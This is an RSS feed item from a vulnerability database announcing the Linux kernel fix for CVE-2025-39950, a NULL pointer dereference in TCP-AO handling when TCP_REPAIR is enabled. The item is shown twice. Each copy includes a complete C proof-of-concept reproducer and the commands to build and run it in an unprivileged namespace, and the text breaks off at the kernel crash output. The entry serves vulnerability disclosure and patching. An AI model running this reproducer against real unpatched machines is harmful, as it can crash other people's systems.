<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 29 Sep 2026 18:58:59 +0000</lastBuildDate>
    <item>
      <title>CVE-2025-39950 — net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2025-39950</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR&lt;/p&gt;
&lt;p&gt;A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.&lt;/p&gt;
&lt;p&gt;The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)-&amp;gt;seq without a prior skb validation.&lt;/p&gt;
&lt;p&gt;Fix this by checking if skb is NULL before dereferencing it.&lt;/p&gt;
&lt;p&gt;The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.&lt;/p&gt;
&lt;p&gt;int main(void){
	struct sockaddr_in sockaddr;
	struct tcp_ao_add tcp_ao;
	int sk;
	int one = 1;&lt;/p&gt;
&lt;p&gt;memset(&amp;amp;sockaddr,&amp;#39;\0&amp;#39;,sizeof(sockaddr));
	memset(&amp;amp;tcp_ao,&amp;#39;\0&amp;#39;,sizeof(tcp_ao));&lt;/p&gt;
&lt;p&gt;sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);&lt;/p&gt;
&lt;p&gt;sockaddr.sin_family = AF_INET;&lt;/p&gt;
&lt;p&gt;memcpy(tcp_ao.alg_name,&amp;#34;cmac(aes128)&amp;#34;,12);
	memcpy(tcp_ao.key,&amp;#34;ABCDEFGHABCDEFGH&amp;#34;,16);
	tcp_ao.keylen = 16;&lt;/p&gt;
&lt;p&gt;memcpy(&amp;amp;tcp_ao.addr,&amp;amp;sockaddr,sizeof(sockaddr));&lt;/p&gt;
&lt;p&gt;setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &amp;amp;tcp_ao,
	sizeof(tcp_ao));
	setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &amp;amp;one, sizeof(one));&lt;/p&gt;
&lt;p&gt;sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htobe16(123);&lt;/p&gt;
&lt;p&gt;inet_aton(&amp;#34;127.0.0.1&amp;#34;, &amp;amp;sockaddr.sin_addr);&lt;/p&gt;
&lt;p&gt;connect(sk,(struct sockaddr *)&amp;amp;sockaddr,sizeof(sockaddr));&lt;/p&gt;
&lt;p&gt;return 0;
}&lt;/p&gt;
&lt;p&gt;$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn&lt;/p&gt;
&lt;p&gt;BUG: ke…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR&lt;/p&gt;
&lt;p&gt;A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.&lt;/p&gt;
&lt;p&gt;The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)-&amp;gt;seq without a prior skb validation.&lt;/p&gt;
&lt;p&gt;Fix this by checking if skb is NULL before dereferencing it.&lt;/p&gt;
&lt;p&gt;The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.&lt;/p&gt;
&lt;p&gt;int main(void){
	struct sockaddr_in sockaddr;
	struct tcp_ao_add tcp_ao;
	int sk;
	int one = 1;&lt;/p&gt;
&lt;p&gt;memset(&amp;amp;sockaddr,&amp;#39;\0&amp;#39;,sizeof(sockaddr));
	memset(&amp;amp;tcp_ao,&amp;#39;\0&amp;#39;,sizeof(tcp_ao));&lt;/p&gt;
&lt;p&gt;sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);&lt;/p&gt;
&lt;p&gt;sockaddr.sin_family = AF_INET;&lt;/p&gt;
&lt;p&gt;memcpy(tcp_ao.alg_name,&amp;#34;cmac(aes128)&amp;#34;,12);
	memcpy(tcp_ao.key,&amp;#34;ABCDEFGHABCDEFGH&amp;#34;,16);
	tcp_ao.keylen = 16;&lt;/p&gt;
&lt;p&gt;memcpy(&amp;amp;tcp_ao.addr,&amp;amp;sockaddr,sizeof(sockaddr));&lt;/p&gt;
&lt;p&gt;setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &amp;amp;tcp_ao,
	sizeof(tcp_ao));
	setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &amp;amp;one, sizeof(one));&lt;/p&gt;
&lt;p&gt;sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htobe16(123);&lt;/p&gt;
&lt;p&gt;inet_aton(&amp;#34;127.0.0.1&amp;#34;, &amp;amp;sockaddr.sin_addr);&lt;/p&gt;
&lt;p&gt;connect(sk,(struct sockaddr *)&amp;amp;sockaddr,sizeof(sockaddr));&lt;/p&gt;
&lt;p&gt;return 0;
}&lt;/p&gt;
&lt;p&gt;$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn&lt;/p&gt;
&lt;p&gt;BUG: ke…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2025-39950</guid>
    </item>
  </channel>
</rss>
